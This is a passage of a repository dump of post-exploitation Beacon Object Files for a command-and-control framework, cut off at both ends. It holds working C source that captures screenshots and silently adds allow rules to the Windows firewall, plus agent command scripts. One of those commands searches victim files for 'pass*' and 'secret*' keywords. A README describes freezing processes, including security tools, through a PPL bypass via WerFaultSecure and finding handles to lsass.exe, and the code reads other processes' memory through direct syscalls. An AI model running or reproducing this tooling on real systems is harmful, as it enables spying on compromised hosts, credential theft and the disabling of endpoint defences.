GDI32$SelectObject(memDC, bmp);\n        if (!GDI32$BitBlt(memDC, 0, 0, w, h, screenDC, x, y, SRCCOPY)) {\n            BeaconPrintf(CALLBACK_ERROR, \"Full screen BitBlt failed: %lu\", KERNEL32$GetLastError());\n        }\n        GDI32$DeleteDC(memDC);\n        USER32$ReleaseDC(NULL, screenDC);\n    }\n\n    if (bmp) {\n        if (!SaveHBITMAPToFile(bmp, note)) {\n            BeaconPrintf(CALLBACK_ERROR, \"Failed to save JPEG\");\n        } else {\n            BeaconPrintf(CALLBACK_OUTPUT, \"Screenshot saved successfully\");\n        }\n        GDI32$DeleteObject(bmp);\n    }\n}"
  },
  {
    "path": "Postex-BOF/firewallrule/addfirewallrule.c",
    "content": "#include <stdio.h>\n#include <windows.h>\n#include <netfw.h>\n#include \"firewallrule.h\"\n#include \"beacon.h\"\n\n#pragma comment(lib, \"comsuppw.lib\")\n#pragma comment(lib, \"Ole32.lib\")\n#pragma comment(lib, \"OleAut32.lib\")\n\n\nHRESULT AddFirewallRule(BSTR ruleName, BSTR ruleDescription, BSTR ruleGroup, NET_FW_RULE_DIRECTION direction, BSTR localPorts, LONG protocol) {\n    HRESULT hr = S_OK;\n\n    INetFwPolicy2 *pNetFwPolicy2 = NULL;\n    INetFwRules *pRules = NULL;\n    INetFwRule *pRule = NULL;\n\t\n\t// Initialize COM.\n    hr = OLE32$CoInitializeEx(NULL, COINIT_MULTITHREADED);\n    if (FAILED(hr)) goto Cleanup;\n\n    // Create an instance of the firewall settings manager.\n    IID CLSIDNetFwPolicy2 = {0xe2b3c97f, 0x6ae1, 0x41ac, {0x81, 0x7a, 0xf6, 0xf9, 0x21, 0x66, 0xd7, 0xdd}};\n    IID IIDINetFwPolicy2 = {0x98325047, 0xc671, 0x4174, {0x8d, 0x81, 0xde, 0xfc, 0xd3, 0xf0, 0x31, 0x86}};\n    hr = OLE32$CoCreateInstance(&CLSIDNetFwPolicy2, NULL, CLSCTX_INPROC_SERVER, &IIDINetFwPolicy2, (void**)&pNetFwPolicy2);\n    if (FAILED(hr)) goto Cleanup;\n\n    // Retrieve the firewall rules collection.\n    hr = pNetFwPolicy2->lpVtbl->get_Rules(pNetFwPolicy2, &pRules);\n    if (FAILED(hr)) goto Cleanup;\n\n    // Create a new rule object.\n    IID CLSIDNetFwRule = {0x2c5bc43e, 0x3369, 0x4c33, {0xab, 0x0c, 0xbe, 0x94, 0x69, 0x67, 0x7a, 0xf4}};\n\tIID IIDINetFwRule = {0xaf230d27, 0xbaba, 0x4e42, {0xac, 0xed, 0xf5, 0x24, 0xf2, 0x2c, 0xfc, 0xe2}};\n    hr = OLE32$CoCreateInstance(&CLSIDNetFwRule, NULL, CLSCTX_INPROC_SERVER, &IIDINetFwRule, (void**)&pRule);\n    if (FAILED(hr)) goto Cleanup;\n\n\tpRule->lpVtbl->put_Direction(pRule, direction);\n\tpRule->lpVtbl->put_Protocol(pRule, protocol);\n\tpRule->lpVtbl->put_LocalPorts(pRule, localPorts);\n\tpRule->lpVtbl->put_Action(pRule, NET_FW_ACTION_ALLOW);\n    pRule->lpVtbl->put_Profiles(pRule, NET_FW_PROFILE2_ALL);\n    pRule->lpVtbl->put_Name(pRule, ruleName);\n    pRule->lpVtbl->put_Description(pRule, ruleDescription);\n    pRule->lpVtbl->put_Grouping(pRule, ruleGroup);\n    pRule->lpVtbl->put_Enabled(pRule, VARIANT_TRUE);\n\n    // Add the rule.\n    hr = pRules->lpVtbl->Add(pRules, pRule);\n    if (FAILED(hr)) goto Cleanup;\n\nCleanup:\n    if (pRule) pRule->lpVtbl->Release(pRule);\n    if (pRules) pRules->lpVtbl->Release(pRules);\n    if (pNetFwPolicy2) pNetFwPolicy2->lpVtbl->Release(pNetFwPolicy2);\n\n    OLE32$CoUninitialize();\n    return hr;\n}\n\n\nint go(char *args, int len) {\n\tHRESULT hr;\n\tdatap parser;\n\tCHAR *directionOption = \"in\"; //in | out\n\tWCHAR *w_ruleName = NULL;\n    WCHAR *w_ruleDescription = NULL;\n    WCHAR *w_ruleGroup = NULL;\n    WCHAR *w_localPorts = NULL;\n\n\tBeaconDataParse(&parser, args, len);\n\tdirectionOption = BeaconDataExtract(&parser, NULL);\n\tw_localPorts = (wchar_t*) BeaconDataExtract(&parser, NULL);\n\tw_ruleName = (wchar_t*) BeaconDataExtract(&parser, NULL);\n\tw_ruleGroup = (wchar_t*) BeaconDataExtract(&parser, NULL);\n\tw_ruleDescription =  (wchar_t*) BeaconDataExtract(&parser, NULL);\n\t\n\t\n\tLONG protocol = NET_FW_IP_PROTOCOL_TCP;\n    BSTR ruleName = OLEAUT32$SysAllocString(w_ruleName);\n    BSTR ruleDescription = OLEAUT32$SysAllocString(w_ruleDescription);\n    BSTR ruleGroup = OLEAUT32$SysAllocString(w_ruleGroup);\n    BSTR localPorts = OLEAUT32$SysAllocString(w_localPorts);\n    \n\tif(MSVCRT$strcmp(directionOption, \"in\") == 0) {\n\t\tNET_FW_RULE_DIRECTION direction = NET_FW_RULE_DIR_IN;\n\t\thr = AddFirewallRule(ruleName, ruleDescription, ruleGroup, direction, localPorts, protocol);\n\t\tif (SUCCEEDED(hr)) BeaconPrintf(CALLBACK_OUTPUT, \"[+] Inbound firewall rule added successfully.\\n\");\n        else BeaconPrintf(CALLBACK_ERROR, \"Add failed: 0x%08lx\\n\", hr);\n\t} \n\telse {\n\t\tNET_FW_RULE_DIRECTION direction = NET_FW_RULE_DIR_OUT;\n\t\thr = AddFirewallRule(ruleName, ruleDescription, ruleGroup, direction, localPorts, protocol);\n\t\tif (SUCCEEDED(hr)) BeaconPrintf(CALLBACK_OUTPUT, \"[+] Outbound firewall rule added successfully.\\n\");\n        else BeaconPrintf(CALLBACK_ERROR, \"Add failed: 0x%08lx\\n\", hr);\n\t}\n\n    OLEAUT32$SysFreeString(ruleName);\n    OLEAUT32$SysFreeString(ruleDescription);\n    OLEAUT32$SysFreeString(ruleGroup);\n    OLEAUT32$SysFreeString(localPorts);\n\n    return 0;\n}"
  },
  {
    "path": "Postex-BOF/firewallrule/firewallrule.h",
    "content": "#include <windows.h>\n\n//AddFirewallRule\nDECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitializeEx(LPVOID pvReserved, DWORD dwCoInit);\nDECLSPEC_IMPORT void WINAPI OLE32$CoUninitialize(void);\nDECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance (REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID *ppv);\nWINBASEAPI BSTR WINAPI OLEAUT32$SysAllocString(const OLECHAR *);\nWINBASEAPI void WINAPI OLEAUT32$SysFreeString(BSTR);\nWINBASEAPI int __cdecl MSVCRT$printf(const char * _Format,...);\nWINBASEAPI int __cdecl MSVCRT$strcmp(const char *str1, const char *str2);"
  },
  {
    "path": "Postex-BOF/postex.axs",
    "content": "var metadata = {\n    name: \"PostEx-BOF\",\n    description: \"BOFs for post exploitation\"\n};\n\n/// COMMANDS\n\nvar _cmd_fw_add = ax.create_command(\"add\", \"Add a new inbound or outbound firewall rule using COM\", \"firewallrule add 80 RuleName in -g Group1 -d TestRule\");\n_cmd_fw_add.addArgString(\"port\", true);\n_cmd_fw_add.addArgString(\"rulename\", true);\n_cmd_fw_add.addArgString(\"direction\", \"\", \"in\");\n_cmd_fw_add.addArgFlagString(\"-g\", \"rulegroup\", \"\", \"\");\n_cmd_fw_add.addArgFlagString(\"-d\", \"description\", \"\", \"\");\n_cmd_fw_add.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let direction   = parsed_json[\"direction\"];\n    let port        = parsed_json[\"port\"];\n    let rulename    = parsed_json[\"rulename\"];\n    let rulegroup   = parsed_json[\"rulegroup\"];\n    let description = parsed_json[\"description\"];\n\n    let bof_params = ax.bof_pack(\"cstr,wstr,wstr,wstr,wstr\", [direction, port, rulename, rulegroup, description]);\n    let bof_path = ax.script_dir() + \"_bin/addfirewallrule.\" + ax.arch(id) + \".o\";\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, \"Task: Add firewall rule (BOF)\");\n});\nvar cmd_fw = ax.create_command(\"firewallrule\", \"Managing firewall rules\");\ncmd_fw.addSubCommands([_cmd_fw_add]);\n\n\n\n\n\n\n\nvar cmd_screenshot = ax.create_command(\"screenshot_bof\", \"Alternative screenshot capability that does not do fork n run by @codex_tf2\", \"screenshot -n screen1 -p 812\");\ncmd_screenshot.addArgFlagString(\"-n\", \"note\", \"Screenshot caption\", \"ScreenshotBOF\");\ncmd_screenshot.addArgFlagInt(\"-p\", \"pid\", \"PID of the application whose window screenshot will be taken. If 0, then a full-screen screenshot\", 0);\ncmd_screenshot.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let note = parsed_json[\"note\"];\n    let pid  = parsed_json[\"pid\"];\n\n    let bof_params = ax.bof_pack(\"cstr,int\", [note, pid]);\n    let bof_path = ax.script_dir() + \"_bin/Screenshot.\" + ax.arch(id) + \".o\";\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, \"Task: Screenshot BOF\");\n});\n\n\n\nvar cmd_sauroneye = ax.create_command(\"sauroneye\", \"Search directories for files containing specific keywords (SauronEye ported to BOF by @shashinma)\", \"sauroneye -d C:\\\\Users -f .txt,.docx -k pass*,secret*\");\ncmd_sauroneye.addArgBool(\"--async\", \"Use Async BOF\");\ncmd_sauroneye.addArgFlagString(\"-d\", \"directories\", \"Comma-separated list of directories to search (default: C:\\\\)\", \"C:\\\\\");\ncmd_sauroneye.addArgFlagString(\"-f\", \"filetypes\", \"Comma-separated list of file extensions to search (default: .txt,.docx)\", \".txt,.docx\");\ncmd_sauroneye.addArgFlagString(\"-k\", \"keywords\", \"Comma-separated list of keywords (supports wildcards * ). If not specified, matches all filenames\", \"\");\ncmd_sauroneye.addArgBool(\"-c\", \"Search file contents for keywords (supports wildcards * )\");\ncmd_sauroneye.addArgFlagInt(\"-m\", \"maxfilesize\", \"Max file size to search contents in, in kilobytes (default: 1024)\", 1024);\ncmd_sauroneye.addArgBool(\"-s\",                      \"Search in system directories (Windows and AppData)\");\ncmd_sauroneye.addArgFlagString(\"-b\", \"beforedate\",  \"Filter files last modified before this date (format: dd.MM.yyyy)\", \"\");\ncmd_sauroneye.addArgFlagString(\"-a\", \"afterdate\",   \"Filter files last modified after this date (format: dd.MM.yyyy)\", \"\");\ncmd_sauroneye.addArgBool(\"-v\",                      \"Check if Office files contain VBA macros using OOXML detection (no OLE, stealthier)\");\ncmd_sauroneye.addArgBool(\"-D\", \"Show file creation and modification dates in output (format: [C:dd.MM.yyyy M:dd.MM.yyyy])\");\ncmd_sauroneye.addArgFlagInt(\"-W\", \"wildcardattempts\", \"Maximum pattern matching attempts for wildcard search (default: 1000). Increase for complex patterns\", 1000);\ncmd_sauroneye.addArgFlagInt(\"-S\", \"wildcardsize\", \"Maximum search area in KB for large files when using wildcards (default: 200KB). Increase to search more\", 200);\ncmd_sauroneye.addArgFlagInt(\"-B\", \"wildcardbacktrack\", \"Maximum backtracking operations for wildcard matching (default: 1000). Increase for complex patterns\", 1000);\ncmd_sauroneye.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let directories = parsed_json[\"directories\"];\n    let filetypes = parsed_json[\"filetypes\"];\n    let keywords = parsed_json[\"keywords\"];\n    let search_contents = (parsed_json[\"-c\"]) ? 1 : 0;\n    let max_filesize = parsed_json[\"maxfilesize\"];\n    let system_dirs = (parsed_json[\"-s\"]) ? 1 : 0;\n    let before_date = parsed_json[\"beforedate\"];\n    let after_date = parsed_json[\"afterdate\"];\n    let check_macro = (parsed_json[\"-v\"]) ? 1 : 0;\n    let show_date = (parsed_json[\"-D\"]) ? 1 : 0;\n    let wildcard_attempts = parsed_json[\"wildcardattempts\"];\n    let wildcard_size = parsed_json[\"wildcardsize\"];\n    let wildcard_backtrack = parsed_json[\"wildcardbacktrack\"];\n    let async = \"\";\n    if (parsed_json[\"--async\"]) async = \"-a \";\n\n    let bof_params = ax.bof_pack(\"cstr,cstr,cstr,cstr,int,int,int,cstr,cstr,int,int,int,int,int\", [cmdline, directories, filetypes, keywords, search_contents, max_filesize, system_dirs, before_date, after_date, check_macro, show_date, wildcard_attempts, wildcard_size, wildcard_backtrack]);\n    let bof_path = ax.script_dir() + \"_bin/sauroneye.\" + ax.arch(id) + \".o\";\n\n    ax.execute_alias(id, cmdline, `execute bof ${async}\"${bof_path}\" ${bof_params}`, \"Task: SauronEye file search\");\n});\n\n\n\nvar b_group_test = ax.create_commands_group(\"PostEx-BOF\", [cmd_fw, cmd_screenshot, cmd_sauroneye]);\nax.register_commands_group(b_group_test, [\"beacon\", \"gopher\", \"kharon\"], [\"windows\"], []);\n\n/// MENU\n\nlet screen_access_action = menu.create_action(\"Screenshot\", function(agents_id) { agents_id.forEach(id => ax.execute_command(id, \"screenshot_bof\")) });\nmenu.add_session_access(screen_access_action, [\"beacon\"]);\nlet g_screen_access_action = menu.create_action(\"Screenshot\", function(agents_id) { agents_id.forEach(id => ax.execute_command(id, \"screenshot\")) });\nmenu.add_session_access(g_screen_access_action, [\"gopher\"]);\n"
  },
  {
    "path": "Process-BOF/CMakeLists.txt",
    "content": "cmake_minimum_required(VERSION 3.16)\n#project(Process-BOF C)\n\nset(CMAKE_C_STANDARD 99)\n\n# Include directories (main _include is at root level)\ninclude_directories(\n    ${CMAKE_SOURCE_DIR}/_include\n#    ${CMAKE_CURRENT_SOURCE_DIR}/process\n)\n\n# Source files\nset(FINDMODULE_SOURCES findobjects/FindModule.c)\nset(FINDPROCHANDLE_SOURCES findobjects/FindProcHandle.c)\nset(PSC_SOURCES process/psc.c)\nset(PROCFREEZE_SOURCES procfreeze/procfreeze.c)\n\n# Compiler flags\nset(CMAKE_C_FLAGS \"${CMAKE_C_FLAGS} -Os -w -Wno-incompatible-pointer-types -DBOF\")\nset(CMAKE_C_FLAGS_RELEASE \"${CMAKE_C_FLAGS_RELEASE} -s\")\n\n# Object file targets\nadd_library(findmodule OBJECT ${FINDMODULE_SOURCES})\ntarget_compile_options(findmodule PRIVATE -masm=intel)\n\nadd_library(findprochandle OBJECT ${FINDPROCHANDLE_SOURCES})\ntarget_compile_options(findprochandle PRIVATE -masm=intel)\n\nadd_library(psc OBJECT ${PSC_SOURCES})\ntarget_compile_options(psc PRIVATE -masm=intel)\n\nadd_library(procfreeze OBJECT ${PROCFREEZE_SOURCES})\ntarget_compile_options(procfreeze PRIVATE -masm=intel)\n\n# Create _bin directory\nfile(MAKE_DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR}/_bin)\n\n# Custom commands to copy object files to _bin\nadd_custom_target(copy_findmodule ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:findmodule> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/findmodule.x64.o\n    DEPENDS findmodule\n    COMMENT \"Copying findmodule object file\"\n)\n\nadd_custom_target(copy_findprochandle ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:findprochandle> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/findprochandle.x64.o\n    DEPENDS findprochandle\n    COMMENT \"Copying findprochandle object file\"\n)\n\nadd_custom_target(copy_psc ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:psc> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/psc.x64.o\n    DEPENDS psc\n    COMMENT \"Copying psc object file\"\n)\n\nadd_custom_target(copy_procfreeze ALL\n        COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:procfreeze> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/procfreeze.x64.o\n        DEPENDS procfreeze\n        COMMENT \"Copying procfreeze object file\"\n)"
  },
  {
    "path": "Process-BOF/Makefile",
    "content": "CC64 = x86_64-w64-mingw32-gcc\nCC86 = i686-w64-mingw32-gcc\nSTRIP64 = x86_64-w64-mingw32-strip --strip-unneeded\nSTRIP86 = x86_64-w64-mingw32-strip --strip-unneeded\nCFLAGS = -I ../_include -masm=intel -w -Wno-incompatible-pointer-types -Os -DBOF -c\n\nall: bof\n\nbof: clean\n\t@(mkdir _bin 2>/dev/null) && echo 'creating _bin directory' || echo '_bin directory exists'\n\t@($(CC64) $(CFLAGS) findobjects/FindModule.c -o _bin/findmodule.x64.o && $(STRIP64) _bin/findmodule.x64.o) && echo '[+] findmodule' || echo '[!] findmodule'\n\t@($(CC64) $(CFLAGS) findobjects/FindProcHandle.c -o _bin/findprochandle.x64.o && $(STRIP64) _bin/findprochandle.x64.o) && echo '[+] findprochandle' || echo '[!] findprochandle'\n\t@($(CC64) $(CFLAGS) process/psc.c -o _bin/psc.x64.o && $(STRIP64) _bin/psc.x64.o) && echo '[+] psc' || echo '[!] psc'\n\t@($(CC64) $(CFLAGS) procfreeze/procfreeze.c -o _bin/procfreeze.x64.o && $(STRIP64) _bin/procfreeze.x64.o) && echo '[+] procfreeze' || echo '[!] procfreeze'\n\nclean:\n\t@(rm -rf _bin)\n"
  },
  {
    "path": "Process-BOF/README.md",
    "content": "# Process-BOF\n\nThis extension increases situational awareness of processes, modules, and services by providing a set of Beacon Object File (BOF) commands.\n\n![](_img/01.png)\n\n## findobj\n\nEnumerate processes for specific modules or process handles. Taken from [outflanknl/C2-Tool-Collection](https://github.com/outflanknl/C2-Tool-Collection/tree/main/BOF/FindObjects)\n\n```\nfindobj <type> <name>\n```\n\n| Type         | Description                                                                                    |\n|--------------|------------------------------------------------------------------------------------------------|\n| `module`     | Enumerate processes for specific loaded modules (eg. `winhttp.dll`, `amsi.dll` or  `clr.dll`). |\n| `prochandle` | Enumerate processes for specific process handles (eg. `lsass.exe`).                            |\n\n![](_img/02.png)\n\n\n\n## process\n\nShow detailed information from processes with established TCP and RDP connections.\n\n```\nprocess conn\n```\n\n\n\n## procfreeze\n\nProcess freeze/unfreeze using PPL bypass technique via WerFaultSecure.exe.\n\n```\nprocfreeze freeze <pid>\nprocfreeze unfreeze\n```\n\nRequirements:\n- Elevated privileges (SYSTEM or Administrator)\n- SeDebugPrivilege enabled\n- Windows 10/11 with WerFaultSecure.exe\n\n**Unfreeze may not work on Windows 10**. \n\nThe target process may remain frozen after running `pf unfreeze`. In such cases, you will need to manually terminate the WerFaultSecure.exe process or reboot the system.\n\n\n\n## Credits\n* C2-Tool-Collection - https://github.com/outflanknl/C2-Tool-Collection\n* ColdWer - https://github.com/0xsh3llf1r3/ColdWer\n* EDR-Freeze - https://github.com/TwoSevenOneT/EDR-Freeze"
  },
  {
    "path": "Process-BOF/findobjects/FindModule.c",
    "content": "#include <windows.h>\n#include <stdio.h>\n\n#if defined(WOW64)\n#include \"Syscalls-WoW64.h\"\n#else\n#include \"Syscalls.h\"\n#endif\n\n#include \"FindObjects.h\"\n#include \"beacon.h\"\n\nINT iGarbage = 1;\nLPSTREAM lpStream = (LPSTREAM)1;\n\nHRESULT BeaconPrintToStreamW(_In_z_ LPCWSTR lpwFormat, ...) {\n\tHRESULT hr = S_OK;\n\tva_list argList;\n\tWCHAR chBuffer[1024];\n\tDWORD dwWritten = 0;\n\n\tif (lpStream <= (LPSTREAM)1) {\n\t\thr = OLE32$CreateStreamOnHGlobal(NULL, TRUE, &lpStream);\n\t\tif (FAILED(hr)) {\n\t\t\treturn hr;\n\t\t}\n\t}\n\n\tva_start(argList, lpwFormat);\n\tMSVCRT$memset(chBuffer, 0, sizeof(chBuffer));\n\tif (!MSVCRT$_vsnwprintf_s(chBuffer, _countof(chBuffer), _TRUNCATE, lpwFormat, argList)) {\n\t\thr = E_FAIL;\n\t\tgoto CleanUp;\n\t}\n\n\tif (FAILED(hr = lpStream->lpVtbl->Write(lpStream, chBuffer, (ULONG)MSVCRT$wcslen(chBuffer) * sizeof(WCHAR), &dwWritten))) {\n\t\tgoto CleanUp;\n\t}\n\nCleanUp:\n\n\tva_end(argList);\n\treturn hr;\n}\n\nVOID BeaconOutputStreamW() {\n\tSTATSTG ssStreamData = { 0 };\n\tSIZE_T cbSize = 0;\n\tULONG cbRead = 0;\n\tLARGE_INTEGER pos;\n\tLPWSTR lpwOutput = NULL;\n\n\tif (FAILED(lpStream->lpVtbl->Stat(lpStream, &ssStreamData, STATFLAG_NONAME))) {\n\t\treturn;\n\t}\n\n\tcbSize = ssStreamData.cbSize.LowPart;\n\tlpwOutput = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, cbSize + 1);\n\tif (lpwOutput != NULL) {\n\t\tpos.QuadPart = 0;\n\t\tif (FAILED(lpStream->lpVtbl->Seek(lpStream, pos, STREAM_SEEK_SET, NULL))) {\n\t\t\tgoto CleanUp;\n\t\t}\n\n\t\tif (FAILED(lpStream->lpVtbl->Read(lpStream, lpwOutput, (ULONG)cbSize, &cbRead))) {\t\t\n\t\t\tgoto CleanUp;\n\t\t}\n\n\t\tBeaconPrintf(CALLBACK_OUTPUT, \"%ls\", lpwOutput);\n\t}\n\nCleanUp:\n\n\tif (lpStream != NULL) {\n\t\tlpStream->lpVtbl->Release(lpStream);\n\t\tlpStream = NULL;\n\t}\n\n\tif (lpwOutput != NULL) {\n\t\tKERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, lpwOutput);\n\t}\n\n\treturn;\n}\n\nBOOL IsProcessWoW64(_In_ HANDLE hProcess) {\n\tNTSTATUS status;\n\tULONG_PTR IsWow64 = 0;\n\n\tstatus = ZwQueryInformationProcess(hProcess, ProcessWow64Information, &IsWow64, sizeof(ULONG_PTR), NULL);\n\tif (status != STATUS_SUCCESS) {\n\t\treturn FALSE;\n\t}\n\n\tif (IsWow64 == 0) {\n\t\treturn FALSE;\n\t}\n\n\treturn TRUE;\n}\n\nBOOL IsElevated() {\n\tBOOL fRet = FALSE;\n\tHANDLE hToken = NULL;\n\n\t_NtOpenProcessToken NtOpenProcessToken = (_NtOpenProcessToken)\n\t\tGetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"NtOpenProcessToken\");\n\tif (NtOpenProcessToken == NULL) {\n\t\treturn FALSE;\n\t}\n\n\tNTSTATUS status = NtOpenProcessToken(NtCurrentProcess(), TOKEN_QUERY, &hToken);\n\tif (status == STATUS_SUCCESS) {\n\t\tTOKEN_ELEVATION Elevation = { 0 };\n\t\tULONG ReturnLength;\n\n\t\tstatus = ZwQueryInformationToken(hToken, TokenElevation, &Elevation, sizeof(Elevation), &ReturnLength);\n\t\tif (status == STATUS_SUCCESS) {\n\t\t\tfRet = Elevation.TokenIsElevated;\n\t\t}\n\t}\n\n\tif (hToken != NULL) {\n\t\tZwClose(hToken);\n\t}\n\n\treturn fRet;\n}\n\nBOOL SetDebugPrivilege() {\n\tHANDLE hToken = NULL;\n\tTOKEN_PRIVILEGES TokenPrivileges = { 0 };\n\n\t_NtOpenProcessToken NtOpenProcessToken = (_NtOpenProcessToken)\n\t\tGetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"NtOpenProcessToken\");\n\tif (NtOpenProcessToken == NULL) {\n\t\treturn FALSE;\n\t}\n\n\tNTSTATUS status = NtOpenProcessToken(NtCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken);\n\tif (status != STATUS_SUCCESS) {\n\t\treturn FALSE;\n\t}\n\n\tTokenPrivileges.PrivilegeCount = 1;\n\tTokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;\n\n\tLPCWSTR lpwPriv = L\"SeDebugPrivilege\";\n\tif (!ADVAPI32$LookupPrivilegeValueW(NULL, lpwPriv, &TokenPrivileges.Privileges[0].Luid)) {\n\t\tZwClose(hToken);\n\t\treturn FALSE;\n\t}\n\n\tstatus = ZwAdjustPrivilegesToken(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL);\n\tif (status != STATUS_SUCCESS) {\n\t\tZwClose(hToken);\n\t\treturn FALSE;\n\t}\n\n\tZwClose(hToken);\n\n\treturn TRUE;\n}\n\nULONG GetCurrentPid() {\n\tPROCESS_BASIC_INFORMATION pbi = { 0 };\n\n\tNTSTATUS status = ZwQueryInformationProcess(NtCurrentProcess(), ProcessBasicInformation, &pbi, sizeof(pbi), NULL);\n\tif (status != STATUS_SUCCESS) {\n\t\treturn 0;\n\t}\n\n\treturn (ULONG)pbi.UniqueProcessId;\n}\n\nLPWSTR WINAPI PathFindFileNameW(LPCWSTR lpszPath) {\n\tLPCWSTR lastSlash = lpszPath;\n\n\twhile (lpszPath && *lpszPath)\n\t{\n\t\tif ((*lpszPath == '\\\\' || *lpszPath == '/' || *lpszPath == ':') &&\n\t\t\tlpszPath[1] && lpszPath[1] != '\\\\' && lpszPath[1] != '/')\n\t\t\tlastSlash = lpszPath + 1;\n\t\tlpszPath++;\n\t}\n\treturn (LPWSTR)lastSlash;\n}\n\nBOOL EnumerateProcessModules(HANDLE hProcess, LPCWSTR lpwModuleName, PUNICODE_STRING uProcName, ULONG ulPid) {\n\tNTSTATUS status;\n\tBOOL bResult = FALSE;\n\tPROCESS_BASIC_INFORMATION BasicInformation;\n\tPRTL_USER_PROCESS_PARAMETERS ProcessParameters;\n\tPPEB_LDR_DATA pLoaderData;\n\tLDR_DATA_TABLE_ENTRY LoaderModule;\n\tPLIST_ENTRY ListHead, Current;\n\tUNICODE_STRING uImagePathName;\n\tWCHAR wcImagePathName[MAX_PATH * 2];\n\tWCHAR wcFullDllName[MAX_PATH * 2];\n\tLPWSTR lpwDllName = NULL;\n\n\tstatus = ZwQueryInformationProcess(hProcess, ProcessBasicInformation, &BasicInformation, sizeof(BasicInformation), NULL);\n\tif (status != STATUS_SUCCESS) {\n\t\treturn FALSE;\n\t}\n\n\t// Get the address of the Process Parameters struct and read ImagePathName data.\n\tstatus = ZwReadVirtualMemory(hProcess, &(BasicInformation.PebBaseAddress->ProcessParameters), &ProcessParameters, sizeof(ProcessParameters), NULL);\n\tif (status != STATUS_SUCCESS) {\n\t\treturn FALSE;\n\t}\n\n\tstatus = ZwReadVirtualMemory(hProcess, &(ProcessParameters->ImagePathName), &uImagePathName, sizeof(uImagePathName), NULL);\n\tif (status != STATUS_SUCCESS) {\n\t\treturn FALSE;\n\t}\n\n\tMSVCRT$memset(wcImagePathName, 0, sizeof(wcImagePathName));\n\tstatus = ZwReadVirtualMemory(hProcess, uImagePathName.Buffer, &wcImagePathName, uImagePathName.MaximumLength, NULL);\n\tif (status != STATUS_SUCCESS) {\n\t\treturn FALSE;\n\t}\n\n\t// Get the address of the PE Loader data.\n\tstatus = ZwReadVirtualMemory(hProcess, &(BasicInformation.PebBaseAddress->Ldr), &pLoaderData, sizeof(pLoaderData), NULL);\n\tif (status != STATUS_SUCCESS) {\n\t\treturn FALSE;\n\t}\n\n\t// Head of the module list: the last element in the list will point to this.\n\tListHead = &pLoaderData->InLoadOrderModuleList;\n\n\t// Get the address of the first element in the list.\n\tstatus = ZwReadVirtualMemory(hProcess, &(pLoaderData->InLoadOrderModuleList.Flink), &Current, sizeof(Current), NULL);\n\tif (status != STATUS_SUCCESS) {\n\t\treturn FALSE;\n\t}\n\n\twhile (Current != ListHead) \n\t{\n\t\t// Read the current module.\n\t\tstatus = ZwReadVirtualMemory(hProcess, CONTAINING_RECORD(Current, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks), &LoaderModule, sizeof(LoaderModule), NULL);\n\t\tif (status != STATUS_SUCCESS) {\n\t\t\treturn FALSE;\n\t\t}\n\n\t\tMSVCRT$memset(wcFullDllName, 0, sizeof(wcFullDllName));\n\t\tstatus = ZwReadVirtualMemory(hProcess, (LPVOID)LoaderModule.FullDllName.Buffer, &wcFullDllName, LoaderModule.FullDllName.MaximumLength, NULL);\n\t\tif (status != STATUS_SUCCESS) {\n\t\t\treturn FALSE;\n\t\t}\n\n\t\tlpwDllName = PathFindFileNameW(wcFullDllName);\n\t\tif (MSVCRT$_wcsicmp(lpwDllName, lpwModuleName) == 0) {\n\t\t\tBeaconPrintToStreamW(\n\t\t\t\tL\"[+] ProcessName: %wZ\\n\"\n\t\t\t\t\"    ProcessID:   %lu\\n\"\n\t\t\t\t\"    ImagePath:   %ls\\n\"\n\t\t\t\t\"    ModuleName:  %ls\\n\\n\", uProcName, ulPid, wcImagePathName, wcFullDllName);\n\t\t\t\n\t\t\tbResult = TRUE;\n\t\t}\n\n\t\t// Address of the next module in the list.\n\t\tCurrent = LoaderModule.InLoadOrderLinks.Flink;\n\t}\n\n\treturn bResult;\n}\n\nBOOL EnumerateProcessModulesFromWoW64(_In_ HANDLE hProcess, LPCWSTR lpwModuleName, PUNICODE_STRING uProcName, ULONG ulPid) {\n\tNTSTATUS status;\n\tBOOL bResult = FALSE;\n\tPROCESS_BASIC_INFORMATION_WOW64 BasicInformation64 = { 0 };\n\tPEB64 Peb64 = { 0 };\n\tRTL_USER_PROCESS_PARAMETERS64 ProcessParameters64 = { 0 };\n\tPEB_LDR_DATA64 LoaderData64 = { 0 };\n\tLDR_DATA_TABLE_ENTRY64 LoaderModule64 = { 0 };\n\tWCHAR wcImagePathName[MAX_PATH * 2];\n\tWCHAR wcFullDllName[MAX_PATH * 2];\n\tLPWSTR lpwDllName = NULL;\n\n\t_NtWow64QueryInformationProcess64 NtWow64QueryInformationProcess64 = (_NtWow64QueryInformationProcess64)\n\t\tGetProcAddress(GetModuleHandleA(\"ntdll.dll\"), \"NtWow64QueryInformationProcess64\");\n\tif (NtWow64QueryInformationProcess64 == NULL) {\n\t\treturn FALSE;\n\t}\n\n\t_NtWow64ReadVirtualMemory64 NtWow64ReadVirtualMemory64 = 